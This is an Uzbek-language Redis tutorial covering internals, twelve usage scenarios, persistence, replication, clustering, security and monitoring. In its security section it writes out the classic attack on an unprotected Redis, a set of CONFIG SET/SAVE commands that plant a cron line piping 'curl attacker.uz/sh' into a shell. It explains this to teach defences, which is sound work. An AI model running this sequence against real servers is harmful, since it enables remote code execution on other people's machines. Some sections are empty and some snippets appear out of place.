Redis'ning 12 ta asosiy stsenariysi

Bu darsda nima o‘rganasiz

Oddiy tilda: katta ofisda o‘nlab xodim bir xil savollarga javob qidiradi — “bugun kim navbatchi?”, “mijozning oxirgi buyurtmasi qaysi?”, “bu hujjatni kim tahrirlayapti?”. Har safar arxivga tushib, papkalarni varaqlash sekin. Shuning uchun dahlizga umumiy oq doska osiladi: eng kerakli ma’lumotlar shu yerda, hamma ko‘radi, hamma yozadi va har yozuv bir lahzada ko‘rinadi. Doska arxivni almashtirmaydi — u arxivning tezkor nusxasi va umumiy xotirasi.

Redis — dasturlar uchun aynan shunday doska. Lekin oddiy doska emas: unda tayyor “jadvallar” bor — navbat, reyting, to‘plam, hisoblagich, oqim. Va eng muhimi, ikki kishi bir vaqtda yozsa ham doska chalkashmaydi: har yozuv bitta-bitta, navbat bilan bajariladi.

Redis haqida ko‘p yozilgan, lekin deyarli hammasi bir xil: “tez kesh, kalit-qiymat, GET va SET”. Bu ta’rif Redis’ning nima ekanini emas, nima ko‘rinishini tasvirlaydi. Aslida Redis — xotiradagi ma’lumot strukturalari serveri. Uning kuchi tezlikda emas (tez narsalar ko‘p), balki server tomonida atomik ishlaydigan ro‘yxat, to‘plam, tartiblangan to‘plam, bitmap va oqimda. Aynan shular 12 ta amaliy stsenariyni tug‘diradi.

Dars noldan hozirgi holatigacha boradi. 2009-yilda bitta dasturchi o‘z analitika xizmati uchun yozgan kichik serverdan boshlaymiz. Keyin u dunyodagi eng ko‘p ishlatiladigan xotiradagi bazaga aylanadi va 2024-yilda litsenziya bo‘yicha bo‘linadi (Valkey). Ichkariga ham kiramiz: skiplist reytingni qanday tez saralaydi, HyperLogLog 12 KB da milliardlab odamni qanday sanaydi, muddati o‘tgan kalitlar qanday tozalanadi.

1. Muammo: nega umuman Redis kerak?

1.1 Hamma narsa bitta jadvaldan boshlanadi

Oddiy tilda: ma’lumotni olish — narsani olib kelishga o‘xshaydi. Cho‘ntakdagi narsa — bir soniya. Uydagi javon — bir daqiqa. Shahar chetidagi ombor — bir soat. Boshqa shahardagi ombor — bir kun. Kompyuterda ham xuddi shunday “masofalar” bor, va farq millionlab barobar. Redis’ning butun ma’nosi — kerakli narsani “ombor”dan “javon”ga olib kelish.

Kechikish raqamlari — bu darsning asosi. Ularni yodda tutish kerak:

Xulosa darhol amaliy bo‘ladi: Redis‘ni tezlashtirish uchun komandalarni emas, chaqiruvlar sonini kamaytirish kerak. Buni 2.7-bo‘limda pipelining bilan raqamda ko‘ramiz.

1.2 Redis nima va nima emas

1.3 v0: Redis‘siz hayot

Redis nima uchun paydo bo‘lganini tushunish uchun undan oldingi holatga qaytamiz. Ilova sekinlashdi, profiler bir xil so‘rov qayta-qayta bajarilayotganini ko‘rsatdi. Birinchi tabiiy qadam — jarayon ichidagi kesh:

_cache = {}   # oddiy dict

def get_article(id):
    if id in _cache:
        return _cache[id]
    row = db.query("SELECT ... WHERE id = %s", id)
    _cache[id] = row
    return row

Bu ishlaydi va u eng tez kesh: tarmoq ham, seriyalash ham yo‘q, murojaat ~100 ns. Bitta serverda bu yetarli. Lekin serverlar soni o‘sishi bilan uchta muammo paydo bo‘ladi.

1.4 Nima sindi

1. Xotira takrorlanadi. Har bir server o‘z nusxasini saqlaydi.

2. Invalidatsiya imkonsiz. Maqola tahrirlandi. Qaysi serverning keshida uning eski nusxasi bor? Hammasida. Ularning har biriga xabar berish kerak — ya’ni sizga taqsimlangan xabar tizimi kerak bo‘lib qoladi.

3. Sovuq start va yuk muvozanati. Yangi server ko‘tarildi — keshi bo‘sh, bazaga to‘liq yuk beradi. Yuk muvozanatlagich so‘rovni boshqa serverga yuborsa, o‘sha serverda kesh yo‘q.

4. Umumiy holat saqlab bo‘lmaydi. Rate limiting, sessiya, taqsimlangan lock — bularning hech biri jarayon ichida ishlamaydi, chunki ular hamma serverlar uchun bitta haqiqat talab qiladi.

1.5 Redis qanday shakllandi

Redis bitta aniq muammodan tug‘ildi. Italiyalik dasturchi Salvatore Sanfilippo (taxallusi antirez) LLOOGG degan real vaqtdagi veb-analitika xizmatini yuritardi: saytga kim kirdi, qaysi sahifani ochdi — darhol ko‘rsatish kerak edi. Har tashrif bazaga yozilar va “oxirgi N ta tashrif” ro‘yxati doim yangilanardi. Yuk oshgach MySQL buni ko‘tara olmadi.

Antirez xotirada ishlaydigan kichik server yozdi. U oddiy kalit-qiymat emas edi: unda ro‘yxat bor edi va “ro‘yxat boshiga qo‘sh, oxirini kes” amali server ichida bajarilardi. Bir necha hafta ichki ishlatishdan keyin, 2009-yil 25-fevralda u loyihani Hacker News’da e’lon qildi va kodni ochdi. Shu bitta qaror — ma’lumot strukturalari serverning ichida — keyingi o‘n besh yil davomida Redis’ni oddiy keshlardan ajratib turdi.

1.6 Memcached va Redis

Bu — intervyudagi klassik savol va uning javobi tarixiy sabablarni ochadi.

Amaliy xulosa: agar sizga faqat kalit-qiymat kesh kerak bo‘lsa va tuzilma kerak bo‘lmasa, memcached hali ham to‘g‘ri tanlov — u soddaroq va ko‘p ipli. Boshqa barcha holatlarda Redis‘ning strukturalari uni ancha ustun qiladi. Aynan shu sabab bu darsning asosiy qismi (5-bo‘lim) strukturalarga bag‘ishlangan.

1.7 Konvert orqasidagi hisob

2. Nol nuqta: Redis ichkarida qanday ishlaydi

2.1 Bitta ip: nega bu kamchilik emas

Oddiy tilda: bankda bitta kassir bor, lekin u har mijozga bir soniyada xizmat qiladi. Navbatdagi odamlar uni kutadi, lekin kutish juda qisqa. Va bitta kassir bo‘lgani uchun “ikki kassir bir vaqtda bitta hisobdan pul berib yubordi” degan xato hech qachon bo‘lmaydi. Faqat bitta qoida bor: hech kim kassir oldida yarim soat turib qolmasin.

Redis komandalarni bitta ipda, navbat bilan bajaradi. Intuitsiya bunga qarshi chiqadi: 32 yadroli serverda bitta yadro ishlatilsa, isrof emasmi?

Yo‘q, chunki 1.1-bo‘limdagi hisobga qarang: bitta komanda 1 mikrosoniya oladi. Bitta yadro sekundiga million komanda bajaradi, tarmoq esa bundan ancha oldin to‘yinadi.

Bitta ipning uchta katta yutug‘i bor:

1. Qulf (lock) yo‘q — hech qanday mutex, race condition, deadlock yo‘q. Kod sodda va bashoratli
2. Har bir komanda atomik — INCR yoki ZADD o‘rtasida hech kim aralasha olmaydi. Bu 5-bo‘limdagi stsenariylarning yarmini imkonli qiladi
3. Bashoratli kechikish — kontekst almashinuvi va kesh nomuvofiqligi yo‘q

while (1) {
    // 1. Tayyor bo'lgan socketlarni so'raymiz (bloklanmasdan)
    events = epoll_wait(fds, timeout_ms);

    // 2. Har biridan komandani o'qib, DARHOL bajaramiz
    for (e in events) {
        cmd = parse(read(e.fd));
        result = execute(cmd);        // ~1 mikrosoniya
        buffer_write(e.fd, result);
    }

    // 3. Vaqtga bog'liq ishlar
    serverCron();   // ekspirasiya, statistika, AOF, replikatsiya
}

2.2 RESP protokoli: bayt darajasida

Redis o‘z matnli protokolini ishlatadi. Uni bilish debug paytida va mijoz kutubxonasini tanlashda foyda beradi.

Mijoz -> Server:
*3\r\n$3\r\nSET\r\n$7\r\nuser:42\r\n$5\r\nAziza\r\n

  *3        -> 3 elementli massiv
  $3 SET    -> 3 baytli satr: "SET"
  $7 user:42
  $5 Aziza

Server -> Mijoz:
+OK\r\n

Javob turlari bitta belgi bilan ajratiladi: + oddiy satr, - xato, : butun son, $ bulk satr, * massiv. Sodda, o‘qiladigan va parse qilish arzon — bu ham 1 mikrosoniyalik byudjetning bir qismi.

2.3 Kalitlar va qiymatlar: xotirada nima yotadi

Oddiy tilda: pochta orqali bitta tugma yuborsangiz ham, quti, yorliq, manzil va muhr kerak bo‘ladi. Kichik narsalarda qadoq narsaning o‘zidan qimmatroq. Redis’da ham har kalitning “qadog‘i” bor — va kichik qiymatlarda u ma’lumotning o‘zidan katta.

Har bir kalit-qiymat juftligi bir necha strukturadan iborat va ularning har biri joy egallaydi:

Kalit maydoni (dict)
  └─ dictEntry            ~24 bayt  (kalit ko'rsatkichi, qiymat ko'rsatkichi, keyingi)
      ├─ kalit: SDS satri  ~16 bayt sarlavha + matn + 1
      └─ qiymat: robj      ~16 bayt (turi, kodlash, refcount, ptr)
          └─ haqiqiy ma'lumot

Bunga jemalloc‘ning yaxlitlashi qo‘shiladi: 33 baytlik so‘rov 40 baytlik blok oladi.

2.4 Kalit ustama xarajati: hisob

2.5 Kodlashlar: bir xil tur, ikki xil ichki tuzilish

Redis har bir turni ikki xil saqlashi mumkin: kichik bo‘lsa ixcham ketma-ketlik, katta bo‘lsa to‘liq struktura.

2.6 Vaqt murakkabligi: eng muhim jadval

Bitta ipli serverda har bir komandaning murakkabligi — bu butun serverning kechikishi.

2.7 Pipelining: 99% ni tejaydigan bitta usul

1.1-bo‘limdagi hisob: vaqtning 99% i tarmoqqa ketadi. Demak, bir nechta komandani bitta paketda yuborsak, tejash to‘g‘ridan-to‘g‘ri bo‘ladi.

-- Atomik "agar egasi men bo'lsam, qulfni ochish"
if redis.call("GET", KEYS[1]) == ARGV[1] then
  return redis.call("DEL", KEYS[1])
else
  return 0
end

1000 komanda x 1 µs = 1 ms server ishi
+ 200 µs RTT
= 1.2 ms  ->  833 000 komanda/soniya

CLIENT TRACKING on REDIRECT <client-id>
GET user:42        -> mijoz javobni o'z keshiga qo'yadi
                      Redis bu kalitni kim keshlaganini eslab qoladi
(kimdir SET user:42) -> Redis invalidatsiya xabari yuboradi
                      mijoz o'z keshidan o'chiradi

3. Ekspirasiya va siqib chiqarish

Oddiy tilda: muzlatgichda ikki xil sabab bilan narsa chiqarib tashlanadi. Birinchisi — yaroqlilik muddati tugadi (siz o‘zingiz shu sanani yozgansiz). Ikkinchisi — joy qolmadi va yangi narsa sig‘mayapti, shuning uchun eng kam ishlatilganini olib tashlaysiz. Birinchisi — ekspirasiya, ikkinchisi — siqib chiqarish. Ular butunlay boshqa mexanizmlar.

Redis xotirasi cheklangan. Ikkita mustaqil mexanizm undan nima chiqib ketishini boshqaradi va ularni chalkashtirish keng tarqalgan xato.

3.1 TTL qanday ishlaydi: ikki mexanizm birga

Redis muddati o‘tgan kalitni darhol o‘chirmaydi — bu million kalitni kuzatib turishni talab qilardi. O‘rniga ikki usul birga ishlaydi:

Passiv (lazy) — kalitga murojaat qilinganda muddati tekshiriladi. Muddati o‘tgan bo‘lsa, o‘sha lahzada o‘chiriladi va “yo‘q” deb javob beriladi.

Faol (active) — serverCron har 100 ms da (standart hz 10) quyidagi siklni bajaradi:

takrorlash:
    TTL li kalitlardan 20 tasini TASODIFIY tanla
    muddati o'tganlarini o'chir
    agar o'chirilganlar 25% dan ko'p bo'lsa -> yana takrorla
    aks holda -> to'xta

Cheklov: bu ish CPU vaqtining 25% idan oshmasin

ttl = 3600 + random(0, 300)     -- hammasi bir lahzada tugamasin

3.2 Siqib chiqarish siyosatlari

maxmemory limitiga yetilganda Redis nima qiladi — bu maxmemory-policy bilan belgilanadi:

4. Doimiylik: xotiradagi ma’lumotni qanday saqlash

Oddiy tilda: oq doskadagi yozuvni saqlashning ikki yo‘li bor. Birinchisi — har kecha doskani suratga olish (tez tiklanadi, lekin oxirgi suratdan keyingi yozuvlar yo‘qoladi). Ikkinchisi — doskaga yozilgan har bir gapni daftarga ham yozib borish (hech narsa yo‘qolmaydi, lekin daftar qalinlashadi va tiklash uchun hammasini qayta o‘qish kerak).

Redis xotirada ishlaydi, lekin qayta ishga tushganda ma’lumot yo‘qolmasligi uchun ikki mexanizm bor. Ular bir-birini almashtirmaydi — ko‘pincha ikkalasi birga ishlatiladi.

4.1 RDB va AOF

AOF ning ishonchliligi appendfsync bilan boshqariladi:

4.2 fork va copy-on-write: xotira nega ikki barobar oshadi

Bu — Redis operatsiyasidagi eng ko‘p kutilmagan hodisa va u maxmemory ni tanlashni belgilaydi.

RDB saqlash yoki AOF rewrite paytida Redis fork() qiladi: bola jarayon xotiraning “suratini” oladi. Nusxa darhol olinmaydi — sahifalar copy-on-write rejimida ota va bola o‘rtasida baham ko‘riladi. Lekin ota jarayon yozishda davom etsa, har bir tegilgan sahifa nusxalanadi.

4.3 Xotira fragmentatsiyasi

INFO memory da ikkita raqam bor va ular farq qiladi:

used_memory:        21474836480   # Redis o'zi hisoblagan (21 GB)
used_memory_rss:    27917287424   # OT ko'rsatgan haqiqiy (26 GB)
mem_fragmentation_ratio: 1.30     # nisbat

Nisbat 1.0 ga yaqin bo‘lishi kerak. 1.5 dan yuqori bo‘lsa — jemalloc bloklari orasida bo‘shliqlar bor (ko‘p o‘chirish va turli hajmdagi qiymatlar sabab). Chora: activedefrag yes (fon defragmentatsiyasi) yoki rejalashtirilgan qayta ishga tushirish.

Nisbat 1.0 dan past bo‘lsa — bu yomonroq signal: ma’lumotning bir qismi swap ga tushgan va har murojaat diskka boradi. Kechikish 100 ns dan 100 µs ga sakraydi.

5. 12 ta asosiy stsenariy

Oddiy tilda: bitta doskani o‘n ikki xil maqsadda ishlatish mumkin — eslatma, navbat ro‘yxati, musobaqa jadvali, “kim keldi” belgisi, xona kaliti kimdaligi. Har maqsad uchun doskada boshqa shakl kerak: ro‘yxat, jadval, katakchalar. Redis’dagi turlar — aynan shu shakllar.

Bu bo‘lim darsning yuragi. Har bir stsenariyda: qanday muammo, qaysi struktura, aniq komandalar va eng ko‘p qilinadigan xato.

GET article:1042                      -> kesh
  (yo'q bo'lsa) bazadan o'qish
SET article:1042 <json> EX 3600 NX    -> keshga yozish

HSET session:a9f3... user_id 42 role admin csrf x7k2
EXPIRE session:a9f3... 1800
HGETALL session:a9f3...          -> har so'rovda
EXPIRE session:a9f3... 1800      -> faollikda muddatni uzaytirish

INCR ratelimit:user:42:1712345678
EXPIRE ratelimit:user:42:1712345678 60 NX

-- KEYS[1] = kalit, ARGV[1] = limit, ARGV[2] = oyna (soniya)
local current = redis.call("INCR", KEYS[1])
if current == 1 then
  redis.call("EXPIRE", KEYS[1], ARGV[2])
end
if current > tonumber(ARGV[1]) then
  return 0            -- rad etildi
end
return 1              -- ruxsat

ZREMRANGEBYSCORE rl:user:42 0 <hozir - 60000>   -- eskilarni tashlash
ZCARD rl:user:42                                 -- qolganini sanash
ZADD rl:user:42 <hozir> <unikal_id>              -- yangisini qo'shish
EXPIRE rl:user:42 60

ZADD leaderboard 15400 user:42
ZINCRBY leaderboard 250 user:42          -- ball qo'shish (atomik)
ZREVRANGE leaderboard 0 9 WITHSCORES     -- eng yaxshi 10 ta
ZREVRANK leaderboard user:42             -- mening o'rnim: O(log N)
ZCOUNT leaderboard 15000 +inf            -- mendan yuqoridagilar soni

ball_bilan_vaqt = ball * 1e10 + (10 000 000 000 - timestamp)

LPUSH queue:email '{"to":"a@b.uz","tpl":"welcome"}'
BRPOP queue:email 5          -- bloklab kutish (5 s timeout)

BLMOVE queue:email queue:email:processing LEFT RIGHT 5
  -- vazifa "ishlanmoqda" ro'yxatiga ko'chadi
  -- muvaffaqiyatda: LREM queue:email:processing 1 <vazifa>
  -- ishchi tushsa: boshqa ishchi eski elementlarni qaytaradi

XADD events * type order.created order_id 8891
XGROUP CREATE events workers $ MKSTREAM
XREADGROUP GROUP workers worker-1 COUNT 10 BLOCK 5000 STREAMS events >
XACK events workers 1712345678-0        -- bajarildi deb belgilash
XAUTOCLAIM events workers worker-2 60000 0-0   -- tashlab ketilganlarni olish

SUBSCRIBE notifications:user:42
PUBLISH notifications:user:42 '{"type":"new_message"}'

SET lock:order:8891 <unikal_token> NX PX 30000
  NX  -> faqat mavjud bo'lmasa
  PX  -> 30 soniyadan keyin avtomatik ochiladi (jarayon tushsa qulf qolmasin)

if redis.call("GET", KEYS[1]) == ARGV[1] then
  return redis.call("DEL", KEYS[1])
else
  return 0
end

INCR views:article:1042
INCRBY balance:user:42 -500
HINCRBY stats:2026-09-01 orders 1

SETBIT active:2026-09-01 12345678 1     -- foydalanuvchi bugun kirdi
GETBIT active:2026-09-01 12345678       -- kirganmi?
BITCOUNT active:2026-09-01              -- bugun nechta faol
BITOP AND retained active:2026-09-01 active:2026-09-02
BITCOUNT retained                        -- ikki kun ham kirganlar

GEOADD drivers 69.2401 41.2995 driver:88
GEOSEARCH drivers FROMLONLAT 69.24 41.30 BYRADIUS 3 km ASC COUNT 10 WITHDIST
GEODIST drivers driver:88 driver:91 km

SET processed:msg:8891 1 NX EX 86400
  -> 1 qaytsa: birinchi marta, ishlov beramiz
  -> nil qaytsa: allaqachon ishlangan, tashlab ketamiz

1. SET ... NX  -> "ishlanmoqda" belgisi, qisqa TTL (masalan 5 daqiqa)
2. Ishni bajarish
3. Muvaffaqiyatda: belgini uzoq TTL ga o'zgartirish (24 soat)
   Xatoda: belgini O'CHIRISH -> xabar qayta urinishga qaytadi

LPUSH recent:user:42 product:991
LTRIM recent:user:42 0 99        -- faqat oxirgi 100 tasi qoladi
LRANGE recent:user:42 0 19        -- oxirgi 20 tasi

6. Bitta komandaning hayoti

Endi bitta komandani — INCR views:1042 — mijozdan diskka va replikagacha kuzatamiz. Shunda “bitta ip”, “atomik”, “1 soniyagacha yo‘qotish” degan gaplar aniq rasmga aylanadi.

6.1 Qadam-baqadam

Oddiy tilda: siz kassaga chek uzatdingiz. Kassir uni oladi, bajaradi, javobni yozib qo‘yadi va keyingi odamga o‘tadi. Kechqurun buxgalter kunlik cheklar nusxasini arxivga topshiradi, filialdagi hamkasbi esa har chekning nusxasini biroz kechikib oladi. Siz javobni darhol olasiz — arxivlash va nusxalash sizni kutdirmaydi.

1. RESP (2.2) komandani baytlarga aylantiradi. Bir nechta komanda bitta paketda kelishi mumkin — pipelining (2.7).
2. Event loop epoll dan qaysi socketlarda ma’lumot borligini so‘raydi va har birini navbat bilan o‘qiydi.
3. Komanda jadvaldan topiladi (INCR → uning funksiyasi), argumentlar tekshiriladi, ACL ruxsati ko‘riladi (11.2).
4. Bajarish: kalit lug‘atdan topiladi, son 1 ga oshiriladi. Shu lahzada o‘zgarish faqat xotirada.
5. Javob mijozning chiqish buferiga yoziladi va keyingi sikl boshida socketga ketadi.
6. Yozish komandasi bo‘lgani uchun u AOF buferiga va replikalar oqimiga ham qo‘shiladi (6.3).

6.2 Bitta ipning vaqt byudjeti

Bitta ip — bitta navbat. Shuning uchun eng sekin komanda hammaning kechikishini belgilaydi.

Bu hisob 2.6 dagi qoidani raqam bilan tushuntiradi: bitta ipli serverda O(N) komanda — bu butun tizim uchun O(N) to‘xtash.

6.3 Yozuv qayerga ketadi va qachon xavfsiz

7. Strukturalar ichidan: skiplist, HyperLogLog va namunali LRU

5-bo‘limda strukturalardan foydalandik. Endi uchtasining ichiga kiramiz — 2-daraja amaliyotida aynan shularni o‘zingiz yozasiz.

7.1 Skiplist: reyting qanday O(log N)

Oddiy tilda: shahar metrosida ikki xil poyezd bor. Oddiy poyezd har bekatda to‘xtaydi, ekspress esa faqat har to‘rtinchisida. Uzoq bekatga borish uchun avval ekspressda yaqinlashasiz, keyin oddiy poyezdga o‘tib, kerakli bekatda tushasiz. Skiplist — ko‘p qavatli “ekspress”lar: har qavatda bekatlar to‘rt barobar siyrak.

Mexanizm: har yangi elementga tasodifiy daraja beriladi. 1-daraja — hamma; 2-darajaga 25% ehtimol bilan chiqadi, 3-darajaga — 6.25% va hokazo (Redis’da P = 0.25, ko‘pi bilan 32 daraja). Qidiruv eng yuqori qavatdan boshlanadi va “keyingisi kerakligidan katta bo‘lsa — bir qavat pastga” qoidasi bilan tushadi.

Redis’ning qo‘shimchasi — span: har ko‘rsatkich nechta elementni sakrab o‘tishini eslab qoladi. Yo‘l bo‘yidagi span’larni qo‘shsangiz — elementning o‘rni (rank) chiqadi. Shu sabab ZRANK va ZRANGE 1000 1009 ham O(log N).

7.2 HyperLogLog: 12 KB da milliardni qanday sanash

Oddiy tilda: do‘stingiz tanga tashlab, “ketma-ket nechta gerb tushdi” seriyasini yozib boradi va sizga faqat eng uzun seriyani aytadi — masalan, 10. Ketma-ket 10 ta gerb taxminan har mingtadan bir urinishda tushadi. Demak, u taxminan ming marta tashlagan. Bitta raqamdan butun sonni taxmin qildingiz. HyperLogLog aynan shu fikrga tayanadi.

Mexanizm (Redis):

1. Har element 64 bitli xeshga aylantiriladi.
2. Quyi 14 bit — 16 384 ta registrdan qaysi biri (taxminni 16 384 ta mustaqil “do‘st”ga bo‘lamiz).
3. Qolgan 50 bitdagi oxirgi nollar soni + 1 — rank (“seriya uzunligi”). Registr eng katta rankni eslaydi.
4. Hisob: registrlar bo‘yicha garmonik o‘rtacha. Bitta tasodifan juda katta registr natijani buzmaydi.
5. Kichik sonlarda ko‘p registr bo‘sh qoladi — u yerda “linear counting” aniqroq: M · ln(M / bo‘sh_registrlar).

Bitta nozik joy amaliyotda ko‘rinadi. Oddiy HLL formulasi bilan linear counting o‘rtasidagi o‘tish oralig‘ida (bu yerda ~40–70 ming element) xato ~3% gacha ko‘tariladi. Redis 2014-yilda HLL’ni empirik tuzatish bilan qo‘shgan. Redis 5.0 (2018) esa Otmar Ertl’ning yangi baholovchisiga o‘tdi: u butun oraliqda xolis va empirik jadvallarga tayanmaydi. Amaliyotda siz klassik variantni yozasiz va bu farqni o‘z ko‘zingiz bilan ko‘rasiz.

7.3 Namunali LRU va faol ekspirasiya — raqamlarda

3-bo‘limdagi ikki mexanizm “taxminan to‘g‘ri” ishlaydi. Qanchalik taxminan — amaliyotdagi simulyatsiyada o‘lchanadi.

Faol ekspirasiya ham shunday: 60 000 TTL li kalitning yarmi bir lahzada eskirganda va yana 100 000 ta TTL siz kalit bo‘lganda, amaliyotdagi sikl eskirgan kalitlar ulushini ~25% atrofida ushlab turadi. Ya’ni xotirada “o‘lik” kalitlar bo‘ladi, lekin chegaralangan. Va tinch paytda sikl bir necha o‘nta kalitni tekshiradi — CPU deyarli sarflanmaydi.

8. Masshtablash: replikatsiya, failover, klaster

8.1 Replikatsiya

Oddiy tilda: bosh doskaning yonida yordamchi nusxa-doskalar turadi. Kotib bosh doskaga yozilgan har gapni ularga ko‘chirib boradi — lekin bir oz kechikib. Bosh doska yiqilsa, nusxalardan biri bosh bo‘ladi, va oxirgi bir necha gap ko‘chirilmay qolgan bo‘lishi mumkin.

REPLICAOF master.host 6379

Replika master‘dan asinxron oqim oladi. Master yozuvni qabul qilib, mijozga darhol +OK qaytaradi va replikaga keyin yuboradi. Bu tezlik uchun to‘g‘ri qaror, lekin oqibatlari bor.

Master  --[repl akış]-->  Replika 1
        --[repl akış]-->  Replika 2 (boshqa mintaqada)

Uzilish bo‘lganda qisman qayta sinxronizatsiya ishlaydi: master oxirgi yozuvlarni halqasimon buferda (repl-backlog) saqlaydi. Replika qisqa vaqt uzilib qaytsa, faqat yetishmayotgan qismni oladi. Bufer to‘lib ketgan bo‘lsa — to‘liq sinxronizatsiya: master fork qilib RDB yaratadi va butun ma’lumotni yuboradi (4.2-bo‘limdagi xotira cho‘qqisi bilan birga).

8.2 Failover: nechta yozuv yo‘qoladi

Master tushdi, replika ko‘tarildi. Asinxron replikatsiya tufayli replikaga yetib ulgurmagan yozuvlar yo‘qoladi.

Chastotani kamaytiruvchi vositalar:

min-replicas-to-write 1      # kamida 1 ta replika ulanmagan bo'lsa, yozishni rad et
min-replicas-max-lag 10      # va uning kechikishi 10 soniyadan oshmasin

WAIT 1 100 komandasi esa yozuvdan keyin kamida 1 ta replika tasdiqlashini 100 ms kutadi. Bu kafolat emas (u ham asinxron), lekin muhim yozuvlar uchun oynani sezilarli qisqartiradi.

8.3 Klaster: 16384 slot

Oddiy tilda: doska bitta devorga sig‘may qoldi. Uni 16 384 ta raqamlangan katakka bo‘lamiz va kataklarni bir nechta devorga taqsimlaymiz. Har yozuvning qaysi katakka tushishi uning nomidan hisoblanadi — shuning uchun hamma qaysi devorga borishni biladi.

Bitta instansiya RAM va bitta yadro bilan cheklangan. Redis Cluster ma’lumotni 16384 ta slot ga bo‘lib, ularni tugunlar orasida taqsimlaydi.

slot = CRC16(kalit) mod 16384

Mijoz noto‘g‘ri tugunga so‘rasa, MOVED javobini oladi va so‘rovni to‘g‘ri tugunga yo‘naltiradi (mijoz kutubxonasi buni avtomatik qiladi va slot xaritasini keshlaydi).

1. Maqsad tugun:  CLUSTER SETSLOT <slot> IMPORTING <manba-id>
2. Manba tugun:   CLUSTER SETSLOT <slot> MIGRATING <maqsad-id>
3. Kalitlar guruh-guruh ko'chiriladi (MIGRATE)
4. Ko'chish davomida:
     - kalit hali manbada  -> oddiy javob
     - kalit ko'chib bo'lgan -> ASK yo'naltirishi (bir martalik)
5. CLUSTER SETSLOT <slot> NODE <maqsad-id>  -> yakunlash

8.4 Klaster kerakmi yoki katta instansiya yetarlimi?

Amaliy qoida: klasterga faqat kerak bo‘lganda o‘ting. Ko‘p jamoalar klasterni oldindan qo‘yib, keyin CROSSSLOT xatolari va murakkab migratsiyalar bilan kurashadi. Alternativ — funksional bo‘lish: sessiyalar bitta instansiyada, kesh boshqasida, navbatlar uchinchisida. Bu ko‘pincha soddaroq va yetarli.

9. Bugungi arxitektura

Ko‘p jamoalar uchun eng to‘g‘ri boshlang‘ich: bitta master + ikkita replika + Sentinel, va Redis maqsadi bo‘yicha ajratilgan instansiyalar (kesh alohida, sessiya alohida, navbat alohida). Bu topologiya 100 GB gacha va 100 000 ops/s gacha bemalol xizmat qiladi.

10. Ishonchlilik: nima buziladi

10.1 Nosozliklar taksonomiyasi

user:42:events              ->  10M element, yomon
user:42:events:2026-09      ->  oyma-oy, har biri ~300k

10.2 Degradatsiya tartibi

11. Xavfsizlik

11.1 Tarixiy muammo: himoyasiz Redis

Redis uzoq vaqt standart holda parolsiz ishlagan va bu internetga ochiq qolgan minglab serverning buzilishiga olib kelgan. Klassik hujum:

CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n\n*/1 * * * * curl attacker.uz/sh | sh\n\n"
SAVE

Ya’ni hujumchi Redis‘ni o‘z ma’lumotini crontab fayli sifatida yozishga majbur qiladi. Bir daqiqadan keyin server hujumchining kodini ishga tushiradi.

Himoya qatlamlari:

11.2 ACL: foydalanuvchi darajasidagi cheklov

Redis 6 dan boshlab har bir mijozga alohida huquq berish mumkin:

ACL SETUSER cache_app on >parol123 ~cache:* +get +set +del +expire
  ~cache:*  -> faqat shu naqshdagi kalitlar
  +get ...  -> faqat shu komandalar

Bu eng kam imtiyoz prinsipini amalga oshiradi: ilova buzilsa ham, hujumchi FLUSHALL qila olmaydi yoki boshqa xizmatning kalitlarini o‘qiy olmaydi.

11.3 Lua va boshqa nozik joylar

• Lua sandbox — skriptlar fayl tizimiga va tarmoqqa kira olmaydi, lekin ular serverni bloklashi mumkin. Foydalanuvchi kiritgan ma’lumotdan skript qurish (string concatenation) — Redis uchun “SQL injection” ekvivalenti. Har doim KEYS va ARGV orqali uzating
• Xotiradagi maxfiy ma’lumot — sessiya tokenlari, shaxsiy ma’lumotlar. RDB fayli ochiq matnda saqlanadi; zaxira nusxalar shifrlanishi kerak
• CLIENT LIST va MONITOR — ular barcha komandalarni ko‘rsatadi, ya’ni parollar va tokenlar ham ko‘rinadi. ACL bilan cheklanishi shart

12. Iqtisod: RAM qancha turadi

Redis qarorlarining aksariyati bitta faktdan kelib chiqadi: RAM diskdan ~100 barobar qimmat.

12.1 Qaysi ma’lumot RAM ga arziydi

Oddiy mezon: saqlash narxi tejagan hisob narxidan kam bo‘lsa arziydi.

12.2 Xarajatni kamaytirish vositalari

13. Sig‘im rejalashtirish

Qachon klasterga o‘tish kerak:

14. Kuzatuv

14.1 Eng muhim metrikalar

INFO stats | grep keyspace
  keyspace_hits:  9500000
  keyspace_misses: 500000
  -> urish darajasi = 9.5M / 10M = 95%

14.2 Diagnostika vositalari

SLOWLOG GET 10           # eng sekin 10 komanda (standart chegara 10 ms)
LATENCY DOCTOR           # kechikish sabablarini tahlil qiladi
MEMORY DOCTOR            # xotira muammolari bo'yicha maslahat
MEMORY USAGE <kalit>     # bitta kalit qancha joy egallaydi
redis-cli --bigkeys      # har tur bo'yicha eng katta kalitlar
redis-cli --hotkeys      # eng ko'p so'raladigan kalitlar (LFU kerak)
redis-cli --latency      # real vaqtdagi kechikish o'lchovi

15. Antinaqshlar

16. Trade-off‘lar

Butun dars o‘nta gapda

1. Redis — xotiradagi ma’lumot strukturalari serveri, “tez kesh” emas: uning qiymati server tomonidagi atomik ro‘yxat, ZSET, bitmap, HLL va oqimlarda (kirish, 1.2).
2. Vaqtning 99% i tarmoqqa ketadi: Redis’ni tezlashtirish — chaqiruvlar sonini kamaytirish (pipelining, MGET, to‘g‘ri modellashtirish) (1.1, 2.7).
3. Bitta ip — atomiklik va oddiylik, narxi esa: bitta O(N) komanda butun serverni to‘xtatadi (2.1, 2.6, 6.2).
4. Kichik qiymatlarda “qadoq” ma’lumotdan katta: hash ichida guruhlash va listpack kodlashi xotirani 3–5 barobar tejaydi (2.4, 2.5).
5. TTL va siqib chiqarish — ikki xil mexanizm: passiv + namunali faol ekspirasiya, va maxmemory bo‘yicha namunali LRU/LFU (3, 7.3).
6. “+OK” — “saqlandi” emas: AOF everysec ~1 soniya, asinxron replikatsiya esa failover’da yozuvlarni yo‘qotadi (4, 6.3, 8.2).
7. fork xotirani ikki barobargacha oshiradi: maxmemory RAM ning 50–60% idan oshmasin (4.2, 13).
8. Har stsenariyga o‘z strukturasi: reyting — skiplist (span bilan O(log N) rank), noyob sanash — HLL (12 KB), faollik — bitmap, navbat — Streams (5, 7).
9. Redis lock — samaradorlik uchun, to‘g‘rilik uchun emas: to‘g‘rilik resursdagi fencing token yoki tranzaksiyada (5, 7-stsenariy).
10. Kesh, sessiya va navbatni ajrating: ularning siqib chiqarish, doimiylik va o‘sish talablari qarama-qarshi (5-bo‘lim Check, 9).

17. Intervyu savollari

17.1 Asoslar

